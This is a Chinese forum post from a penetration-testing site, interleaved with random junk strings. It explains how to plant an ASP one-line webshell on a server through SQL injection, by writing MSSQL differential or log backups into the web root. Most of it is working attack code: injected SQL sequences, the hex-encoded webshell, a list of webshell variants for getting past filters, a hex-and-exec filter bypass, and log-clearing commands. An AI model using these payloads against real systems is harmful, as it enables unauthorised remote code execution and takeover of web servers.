中国网络渗透测试联盟
标题:
MSsql差异备份总结
[打印本页]
作者:
admin
时间:
2012-9-13 17:21
标题:
MSsql差异备份总结
差异备份的流程大概这样:
5 X4 w7 g b/ {# K+ w
1.完整备份一次(保存位置当然可以改)
) {$ D6 I3 E" y5 c I3 @
backup database 库名 to disk = 'c:\ddd.bak';--
% x# p: D! N, p! `% F
+ X* U3 ?* x2 {* k2 Z5 X# E
2.创建表并插曲入数据
- k9 Q! U0 g2 _ {
create table [dbo].[dtest] ([cmd] [image]);
6 X0 [' @3 J' A2 T
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
9 D4 \6 [( s$ f+ M; e7 _+ D; s
$ K- V, R- J% C$ X4 d
3.进行差异备份
5 Z' G" X+ J& t5 R2 h9 c- k: H& v8 b G
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
) u' ^9 s/ B- y7 G
/ z; ]# x5 |1 Z4 D g: W& u! f
上面
& V2 M0 {9 S4 B: U5 ~; X
0x3C25657865637574652872657175657374282261222929253E
# @& G/ b0 W5 v2 _3 m0 ]
就是一句话木马的内容:<%execute(request("a"))%>
; L+ q! U. r+ M' d% @8 P
. R2 P# \( c8 C2 E
如下是网上常见的差异备份代码,思路一样!
3 e$ D" E: ~* Z/ o3 U$ o3 a( p
===================================================
% o" @) U8 D/ a8 Y
利用差异备份提高提高backupwebshell的成功率,减少文件大小
" W- X/ e" J' r
步骤:
: z+ V" E* X( [. I! q- V5 u
) E4 H/ C4 X( m2 d& J
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s --备份数据库
) X' J; @4 a/ |/ p
g* Z3 i( F' q4 f& e, h& y
create table [dbo].[xiaolu] ([cmd] [image]); -- 创建一个表
& `: y+ D1 E* S$ E# ~8 k& j8 Z
2 D$ U4 q+ q# I+ M s. g
5 X) Q1 A8 y4 v. Y# E- y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) --将一句话木马的16进制字符插入到表中
# z2 {' {. \" P; u
0 |( r" _& E8 |- x0 G6 B$ q0 Q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份
7 U9 P, U2 H9 r# L
" T) e U8 D0 E% K7 x' T
drop table [xiaolu] -- 删除此表。
3 j, H/ f; h7 O7 u. C
( M/ l$ k1 h# R; s7 L7 z( o9 ?
0x77006F006B0061006F002E00620061006B00为wokao.bak
$ C8 F; V' t( t* n
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
" o2 c% Q! j, i% U! A; O
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
" d/ K' h( i' i/ X6 B; m8 Y1 D
: d" W% r6 R7 ]& ~
声明:方法不是我想的,我只是写工具,默认得到shell是
! I6 C2 Z2 M% Z1 _
<%execute(request("a"))%>
0 w, ~8 E# w6 z, x# Q2 t
===============================================================
: h' K1 Q: \8 M2 v! N, O, l
1 A6 G/ u2 C* U: A4 I) F
我发现上面代码,有时会无效,而直接用
2 \# ^* }$ i$ v ?& @3 n# B& V( R& g
6 p i, U" e- |( y
backup database 库名 to disk = 'c:\ddd.bak'
3 b. e! }" R2 ]! x# p' {9 u; O
1 a& B4 [; T7 H* m2 y9 q" o
create table [dbo].[dtest] ([cmd] [image]);
* h3 |) q$ l9 t! ~# k
" t5 v0 j% W! r8 T! K+ s0 [
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
6 d7 {4 \- A8 L' G$ a
: V0 j% Y; V3 u. n4 V' L" n
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
3 I9 w+ l& m& l) v- V
1 \; B6 I# U6 l' M- N
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
" C0 Z$ ~8 j9 j2 m
! R; l9 w3 `: h, H5 {
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
( T4 G1 j; L0 U8 F9 A' N" H8 p, {
9 e$ Z) P" b; V4 ^9 E$ u% U% [3 M
网上还有log增量备份的,我也把他记录一下
0 q. K% A% E5 E
=====================================================
5 Y2 d! E k! J
另一种log增量备份技术:
9 S6 z5 _* S( k2 t/ u# _' }/ S9 H
4 K7 q& t! w' a5 J! _
';alter database null set RECOVERY FULL--
- ]& o/ K" J E: ^. i
4 C8 [ _5 G+ N; u, R* x
';create table cmd (a image)--
+ Z8 w6 [! X- m! x% L
4 B' Q; ^! U: x' ^$ m" ]$ h
';backup log null to disk = 'f:\cmd' with init--
' B: N9 U+ a7 T& B, n. \
! T% h2 k' l: u
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
4 P1 |: w; T% k; _+ b9 f+ K9 L
4 ?" E. H7 ]+ O) l& o; `
';backup log null to disk = '备份路径'--
6 w3 e* Y- a8 ?/ |8 Q) t
6 r4 s* q" A2 T$ Q3 I- L: J: x
';drop table cmd--
% j7 d4 b7 ~& O R ?: B
5 e: ^. n# k# l$ L' ~
';alter database XXX set RECOVERY SIMPLE--
. J( E1 g$ m) s+ Y) p- L9 J1 z3 F/ V
* G! Y# p/ d1 ]
PS:0x3C2565786563757465287265717565737428226122292
- r9 |7 s G `& a6 _
9253EDA 是一句话小马16进制转来的
" O, T) X. k, ~
+ n2 |* E/ E' M, s9 y$ n
说到一句话马,还可以有这么几种写法:
7 [' {! n, _% _# i! P( H2 o0 V
- ?; h0 t7 [1 L, v
a)<%%25Execute(request("a"))%%25>
: j* J- t( l- e8 O; X5 f! S
b)<%Execute(request("a"))%>
$ o8 r E7 f. r
c)%><%execute request("a")%><%
- `8 ~& g* S& J8 k6 f5 R% C @% c
d)<script language=VBScript runat=server>execute request("a")</script>
7 t, o( d _4 G5 `) r) X) S" k5 @
e)<%25Execute(request("a"))%25>
& P" s1 W, v+ M& \7 ~7 Y! ~
f)<%eval(request("a")):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
* g ?2 B/ F2 P8 D4 n
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
/ |/ q& l$ M& {' K" m) X( N; r
h)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
; X7 A$ }+ |# R' T: x1 G* N7 c, d
I)<%eval request(0)%>
+ {, `; a5 D- y6 T( |
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
- x. G& Z; d' m) h3 E3 x
( w e) I) ~) D u0 Z! x+ J$ P5 }8 f5 W
=============================================
2 I F' v4 \& l/ v# L
& i) h1 u, W) \8 C8 H# _
当遇到差备过滤了/时用这个语句代替
6 @/ c$ U2 K5 r3 F z
2 p' Z ]5 V( c# i8 \( Y
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--
- _3 j, C- P- r$ P. u& X0 X* e
- K2 a2 ?% E% p8 @2 D w
把要执行的语句转16进制然后用exec执行
% q v- n5 r6 O4 c$ x2 u
1 F2 \+ Y/ G, g' l) d0 T+ d
8 a/ B) s/ D# q# X/ }
减少备份文件大小方法如下:
' }5 X* b7 k/ @. }4 t/ r1 n
7 b# ?/ z/ F4 W4 Y6 E( `
总的来说就是那么简单几句,下面以备份数据库model为例子
! v6 ? K6 k; o3 j U
1
7 C+ `4 Z t: P. d4 E, \* Y; [
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
& _+ S2 \, ]9 C- E2 A
2
: k( W8 v3 L; v- m
id=1;backup database model to disk='你的路径‘ with differential,format;--
* t# Z% ^. |; B
2 R5 Y9 j+ i, z1 \1 t, x
7 ^1 E* r! _" B7 i- I& O
3 u- Q7 s& F9 E7 u# e0 C# l4 |) o
SQL语句清理日志
9 E" f# U$ X% \# J4 j0 Y0 _
注:test为数据库名
/ Q+ O; ~/ F2 l# X* c; N
$ }( X7 b( {8 s$ }8 |- ]
--清空日志
8 F! K1 @2 m3 p6 Z+ d* r
DUMP TRANSACTION test WITH NO_LOG
" M: B6 Y$ e8 O# [8 j" B: p3 z
% `; G0 t/ ]# ^6 Q9 _6 S9 A# e
--截断事务日志
9 [2 a2 ^& E; R' h" \" u: \/ v
BACKUP LOG test WITH NO_LOG
) v; O) X( U) g% n* U
5 L) C: F9 T# d1 [0 X! |$ E
--收缩数据库
/ h/ {3 x+ S! F2 \7 Y
DBCC SHRINKDATABASE(test)
& G8 ?& g% T7 c, S' E+ j4 K
. Y- q0 G. N3 ?
--收缩指定数据文件,1是文件号,可以通过这个语句查询到
- {! r% a' Y- a
Select * from sysfiles DBCC SHRINKFILE(1)
" c; k- `: A+ |3 W8 s7 f2 z
& r& E( U/ P; v3 V" ~
--以后能自动收缩
4 l: E: o z1 e+ |1 H/ J( K' H4 X- P
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2